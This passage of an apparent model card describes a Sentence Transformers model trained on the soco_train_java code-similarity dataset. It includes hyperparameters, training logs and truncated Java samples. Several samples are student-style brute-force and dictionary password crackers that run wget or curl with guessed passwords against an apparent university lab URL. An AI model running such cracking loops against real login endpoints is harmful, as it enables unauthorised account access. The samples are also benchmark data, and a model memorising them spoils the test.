"=";\n break;\n case 2:\n encodedString += "==";\n break;\n }\n }\n return encodedString;\n }\n}\n',
]
embeddings = model.encode(sentences)
print(embeddings.shape)
# [3, 768]
# Get the similarity scores for the embeddings
similarities = model.similarity(embeddings, embeddings)
print(similarities.shape)
# [3, 3]
Training Details
Training Dataset
soco_train_java
- Dataset: soco_train_java at 44ca4ff
- Size: 33,411 training samples
- Columns:
label
,text_1
, andtext_2
- Approximate statistics based on the first 1000 samples:
label text_1 text_2 type int string string details - 0: ~99.80%
- 1: ~0.20%
- min: 51 tokens
- mean: 457.49 tokens
- max: 512 tokens
- min: 512 tokens
- mean: 512.0 tokens
- max: 512 tokens
- Samples:
label text_1 text_2 0
import java.net.;
import java.io.;
import java.util.*;
public class Dictionary {
public static void main(String args[])
{
int i,j,k;
String pass = new String();
String UserPass = new String();
String status = new String();
String status1 = new String();
BasicAuth auth = new BasicAuth();
URLConnection connect;
int start,end,diff;
try {
URL url = new URL ("http://sec-crack.cs.rmit.edu./SEC/2/");
start =System.currentTimeMillis();
BufferedReader dis = new BufferedReader(new FileReader("words"));
while ((pass = dis.readLine()) != null)
{
UserPass= auth.encode("",pass);
connect = url.openConnection();
connect.setDoInput(true);
connect.setDoOutput(true);
connect.setRequestProperty("Host","sec-crack.cs.rmit.edu.");
connect.setRequestProperty("Get","/SEC/2/ HTTP/1.1");
connect.setRequestProperty(...
import java.;
import java.io.;
import java.util.;
public class BruteForce
{
public final static int TOTAL_TIMES=5252*52;
public char[] passwd;
public static void main(String[] args) throws IOException
{
BruteForce bf=new BruteForce();
System.out.println(" cracking...");
time1=new Date().getTime();
bf.doBruteForce(time1);
time2=new Date().getTime();
System.out.println("Finish cracking.");
System.out.println(" password found.");
System.out.println("costs "+(time2-time1)+" milliseconds");
System.exit(1);
}
void doBruteForce(int time1) throws IOException
{
passwd=new char[3];
Runtime rt=Runtime.getRuntime();
num=0;
for(int i=(int)'z';i>=(int)'A';i--)
{
if(i==96)
i=90;
passwd[0]=(char)i;
for(int j=(int)'z';j>=(int)'A';j--)
{
if(j==96)
j=90;
passwd[1]=(char)j;
for(int k=(int)'z';k>=(int)'A';k--)
{
if(k==96)
k=90;
passwd[2]=(char)k;
String password=new String(passwd);
try
...0
import java.util.*;
public class Cracker
{
private char[] letters = {'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z', 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z'};
private Vector v;
public Cracker()
{
v = new Vector( 52);
}
public void loadLetters()
{
int i;
for( i = 0; i < letters.length; i++)
{
String s = new StringBuffer().append( letters[i]).toString();
v.add( s);
}
}
public Vector getVictor()
{
return ;
}
public void loadPairs()
{
int i,j;
for( i = 0; i < letters.length - 1; i++)
{
for( j = i + 1; j < letters.length; j++)
{
String s1 = new StringBuffer().append( letters[i]).append( letters[j]).toString();
String s2 = new StringBuffer().append( letters[j]).append( letters[i])....
import java.;
import java.io.;
import java.util.;
public class BruteForce
{
public final static int TOTAL_TIMES=5252*52;
public char[] passwd;
public static void main(String[] args) throws IOException
{
BruteForce bf=new BruteForce();
System.out.println(" cracking...");
time1=new Date().getTime();
bf.doBruteForce(time1);
time2=new Date().getTime();
System.out.println("Finish cracking.");
System.out.println(" password found.");
System.out.println("costs "+(time2-time1)+" milliseconds");
System.exit(1);
}
void doBruteForce(int time1) throws IOException
{
passwd=new char[3];
Runtime rt=Runtime.getRuntime();
num=0;
for(int i=(int)'z';i>=(int)'A';i--)
{
if(i==96)
i=90;
passwd[0]=(char)i;
for(int j=(int)'z';j>=(int)'A';j--)
{
if(j==96)
j=90;
passwd[1]=(char)j;
for(int k=(int)'z';k>=(int)'A';k--)
{
if(k==96)
k=90;
passwd[2]=(char)k;
String password=new String(passwd);
try
...0
import java.io.;
import java.;
import java.util.StringTokenizer;
public class Dictionary
{
public static void main(String args[])
{
final String DICT_FILE = "/usr/share/lib/dict/words";
String basic_url = "http://sec-crack.cs.rmit.edu./SEC/2/";
String password;
String s = null;
int num_tries = 0;
try
{
BufferedReader dict_word = new BufferedReader
(new FileReader (DICT_FILE));
while((password = dict_word.readLine())!= null)
{
try
{
Process p = Runtime.getRuntime().exec("wget --http-user= --http-passwd=" + password + " " + basic_url);
BufferedReader stdInput = new BufferedReader(new
InputStreamReader(p.getInputStream()));
BufferedReader stdError = new BufferedReader(new
InputStreamReader(p.g...
import java.;
import java.io.;
import java.util.;
public class BruteForce
{
public final static int TOTAL_TIMES=5252*52;
public char[] passwd;
public static void main(String[] args) throws IOException
{
BruteForce bf=new BruteForce();
System.out.println(" cracking...");
time1=new Date().getTime();
bf.doBruteForce(time1);
time2=new Date().getTime();
System.out.println("Finish cracking.");
System.out.println(" password found.");
System.out.println("costs "+(time2-time1)+" milliseconds");
System.exit(1);
}
void doBruteForce(int time1) throws IOException
{
passwd=new char[3];
Runtime rt=Runtime.getRuntime();
num=0;
for(int i=(int)'z';i>=(int)'A';i--)
{
if(i==96)
i=90;
passwd[0]=(char)i;
for(int j=(int)'z';j>=(int)'A';j--)
{
if(j==96)
j=90;
passwd[1]=(char)j;
for(int k=(int)'z';k>=(int)'A';k--)
{
if(k==96)
k=90;
passwd[2]=(char)k;
String password=new String(passwd);
try
... - Loss:
SoftmaxLoss
Evaluation Dataset
soco_train_java
- Dataset: soco_train_java at 44ca4ff
- Size: 16,706 evaluation samples
- Columns:
label
,text_1
, andtext_2
- Approximate statistics based on the first 1000 samples:
label text_1 text_2 type int string string details - 0: ~99.40%
- 1: ~0.60%
- min: 51 tokens
- mean: 443.68 tokens
- max: 512 tokens
- min: 51 tokens
- mean: 467.63 tokens
- max: 512 tokens
- Samples:
label text_1 text_2 0
import java.Runtime;
import java.io.*;
public class differenceFile
{
StringWriter sw =null;
PrintWriter pw = null;
public differenceFile()
{
sw = new StringWriter();
pw = new PrintWriter();
}
public String compareFile()
{
try
{
Process = Runtime.getRuntime().exec("diff History.txt Comparison.txt");
InputStream write = sw.getInputStream();
BufferedReader bf = new BufferedReader (new InputStreamReader(write));
String line;
while((line = bf.readLine())!=null)
pw.println(line);
if((sw.toString().trim()).equals(""))
{
System.out.println(" difference");
return null;
}
System.out.println(sw.toString().trim());
}catch(Exception e){}
return sw.toString().trim();
}
}
import java.;
import java.io.;
import java.util.*;
public class BruteForce
{
public static void main(String[] args)
{
Runtime rt = Runtime.getRuntime();
Process pr= null;
char chars[] = {'a','b','c','d','e','f','g','h','i','j','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z','A','B','C','D','E','F','G','H','I','J','K','L','M','N','O','P','Q','R','S','T','U','V','W','X','Y','Z'};
String pass;
char temp[] = {'a','a'};
char temp1[] = {'a','a','a'};
char temp2[] = {'a'};
String f= new String();
String resp = new String();
int count=0;
String success = new String();
InputStreamReader instre;
BufferedReader bufread;
for(int k=0;k<52;k++)
{
temp2[0]=chars[k];
pass = new String(temp2);
count++;
System.out.println("The password tried ...0
import java.io.;
import java.net.;
import java.util.*;
public class Watchdog
{
public static void main(String args[])
{
String mainLink="http://www.cs.rmit.edu./students/";
String sender = "@cs.rmit.edu.";
String recipient = "";
String hostName = "yallara.cs.rmit.edu.";
int delay = 86400000;
try
{
int imgSrcIndex, imgSrcEnd;
String imgLink;
Vector imageList = new Vector();
HttpURLConnection imgConnection;
URL imgURL;
EmailClient email = new EmailClient(sender, recipient, hostName);
URL url=new URL(mainLink);
HttpURLConnection connection = (HttpURLConnection) url.openConnection();
BufferedReader webpage = new BufferedReader(new InputStreamReader(connection.getInputStream()));
FileWriter fwrite = new FileWriter("local.txt");
BufferedWriter writefile = new BufferedWriter(fwrite);
String line=webpage.readLine();
while (line != null)
{
writefile.write(line,0,line.length());
wri...
import java.net.;
import java.io.;
import java.String;
import java.;
import java.util.;
public class BruteForce {
private static final int passwdLength = 3;
private static String commandLine
= "curl http://sec-crack.cs.rmit.edu./SEC/2/index.php -I -u :";
private String chars = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ";
private int charLen = chars.length();
private int n = 0;
private int n3 = charLencharLencharLen;
private String response;
private String[] password = new String[charLencharLencharLen+charLen*charLen+charLen];
private char[][] data = new char[passwdLength][charLen];
private char[] pwdChar2 = new char[2];
private char[] pwdChar = new char[passwdLength];
private String url;
private int startTime;
private int endTime;
private int totalTime;
private float averageTime;
private boolean finish;
private Process curl;
private BufferedReader bf, responseLine;
...0
import java.io.;
import java.awt.;
import java.net.*;
public class BruteForce
{
public static void main (String[] args)
{
String pw = new String();
pw = getPassword ();
System.out.println("Password is: "+pw);
}
public static String getPassword()
{
String passWord = new String();
passWord = "AAA";
char[] guess = passWord.toCharArray();
Process pro = null;
Runtime runtime = Runtime.getRuntime();
BufferedReader in = null;
String str=null;
boolean found = true;
System.out.println(" attacking.....");
for (int i=65;i<=122 ;i++ )
{
guess[0]=(char)(i);
for (int j=65;j<=122 ;j++ )
{
guess[1]=(char)(j);
for (int k=65 ;k<=122 ;k++ )
{
guess[2]=(char)(k);
passWord = new String(guess);
String cmd = "wget --http-user= --http-passwd="+passWord +" http://sec-crack.cs.rmit.edu./SEC/2/index.php ";
try
{
pro = runtime.exec(cmd);
in = new BufferedReader(new InputStreamReader(pro.getErrorSt...
import java.io.;
import java.text.;
import java.util.;
import java.net.;
public class BruteForce extends Thread
{
private static final String USERNAME = "";
private static final char [] POSSIBLE_CHAR =
{'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm',
'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z',
'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M',
'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z'};
private static int NUMBER_OF_THREAD = 500;
private static Date startDate = null;
private static Date endDate = null;
private String address;
private String password;
public BruteForce(String address, String password)
{
this.address = address;
this.password = password;
}
public static void main(String[] args) throws IOException
{
if (args.length < 1)
{
System.err.println("Invalid usage!");
System.err.println("... - Loss:
SoftmaxLoss
Training Hyperparameters
Non-Default Hyperparameters
per_device_train_batch_size
: 16num_train_epochs
: 1
All Hyperparameters
Click to expand
overwrite_output_dir
: Falsedo_predict
: Falseeval_strategy
: noprediction_loss_only
: Trueper_device_train_batch_size
: 16per_device_eval_batch_size
: 8per_gpu_train_batch_size
: Noneper_gpu_eval_batch_size
: Nonegradient_accumulation_steps
: 1eval_accumulation_steps
: Nonetorch_empty_cache_steps
: Nonelearning_rate
: 5e-05weight_decay
: 0.0adam_beta1
: 0.9adam_beta2
: 0.999adam_epsilon
: 1e-08max_grad_norm
: 1.0num_train_epochs
: 1max_steps
: -1lr_scheduler_type
: linearlr_scheduler_kwargs
: {}warmup_ratio
: 0.0warmup_steps
: 0log_level
: passivelog_level_replica
: warninglog_on_each_node
: Truelogging_nan_inf_filter
: Truesave_safetensors
: Truesave_on_each_node
: Falsesave_only_model
: Falserestore_callback_states_from_checkpoint
: Falseno_cuda
: Falseuse_cpu
: Falseuse_mps_device
: Falseseed
: 42data_seed
: Nonejit_mode_eval
: Falseuse_ipex
: Falsebf16
: Falsefp16
: Falsefp16_opt_level
: O1half_precision_backend
: autobf16_full_eval
: Falsefp16_full_eval
: Falsetf32
: Nonelocal_rank
: 0ddp_backend
: Nonetpu_num_cores
: Nonetpu_metrics_debug
: Falsedebug
: []dataloader_drop_last
: Falsedataloader_num_workers
: 0dataloader_prefetch_factor
: Nonepast_index
: -1disable_tqdm
: Falseremove_unused_columns
: Truelabel_names
: Noneload_best_model_at_end
: Falseignore_data_skip
: Falsefsdp
: []fsdp_min_num_params
: 0fsdp_config
: {'min_num_params': 0, 'xla': False, 'xla_fsdp_v2': False, 'xla_fsdp_grad_ckpt': False}fsdp_transformer_layer_cls_to_wrap
: Noneaccelerator_config
: {'split_batches': False, 'dispatch_batches': None, 'even_batches': True, 'use_seedable_sampler': True, 'non_blocking': False, 'gradient_accumulation_kwargs': None}deepspeed
: Nonelabel_smoothing_factor
: 0.0optim
: adamw_torchoptim_args
: Noneadafactor
: Falsegroup_by_length
: Falselength_column_name
: lengthddp_find_unused_parameters
: Noneddp_bucket_cap_mb
: Noneddp_broadcast_buffers
: Falsedataloader_pin_memory
: Truedataloader_persistent_workers
: Falseskip_memory_metrics
: Trueuse_legacy_prediction_loop
: Falsepush_to_hub
: Falseresume_from_checkpoint
: Nonehub_model_id
: Nonehub_strategy
: every_savehub_private_repo
: Nonehub_always_push
: Falsegradient_checkpointing
: Falsegradient_checkpointing_kwargs
: Noneinclude_inputs_for_metrics
: Falseinclude_for_metrics
: []eval_do_concat_batches
: Truefp16_backend
: autopush_to_hub_model_id
: Nonepush_to_hub_organization
: Nonemp_parameters
:auto_find_batch_size
: Falsefull_determinism
: Falsetorchdynamo
: Noneray_scope
: lastddp_timeout
: 1800torch_compile
: Falsetorch_compile_backend
: Nonetorch_compile_mode
: Noneinclude_tokens_per_second
: Falseinclude_num_input_tokens_seen
: Falseneftune_noise_alpha
: Noneoptim_target_modules
: Nonebatch_eval_metrics
: Falseeval_on_start
: Falseuse_liger_kernel
: Falseeval_use_gather_object
: Falseaverage_tokens_across_devices
: Falseprompts
: Nonebatch_sampler
: batch_samplermulti_dataset_batch_sampler
: proportional
Training Logs
Epoch | Step | Training Loss |
---|---|---|
0.2393 | 500 | 0.0179 |
0.4787 | 1000 | 0.0231 |
0.7180 | 1500 | 0.0166 |
0.9574 | 2000 | 0.0149 |
Framework Versions
- Python: 3.11.11
- Sentence Transformers: 4.1.0
- Transformers: 4.52.4
- PyTorch: 2.8.0.dev20250319+cu128
- Accelerate: 1.7.0
- Datasets: 3.6.0
- Tokenizers: 0.21.1
Citation
BibTeX
Sentence Transformers and SoftmaxLoss
@inproceedings{reimers-2019-sentence-bert,
title = "Sentence-BERT: Sentence Embeddings using Siamese BERT-Networks",
author = "Reimers, Nils and Gurevych, Iryna",
booktitle = "Proceedings of the 2019 Conference on Empirical Methods in Natural Language Processing",
month = "11",
year = "2019",
publisher = "Association for Computational Linguistics",
url = "https://arxiv.org/abs/1908.10084",
}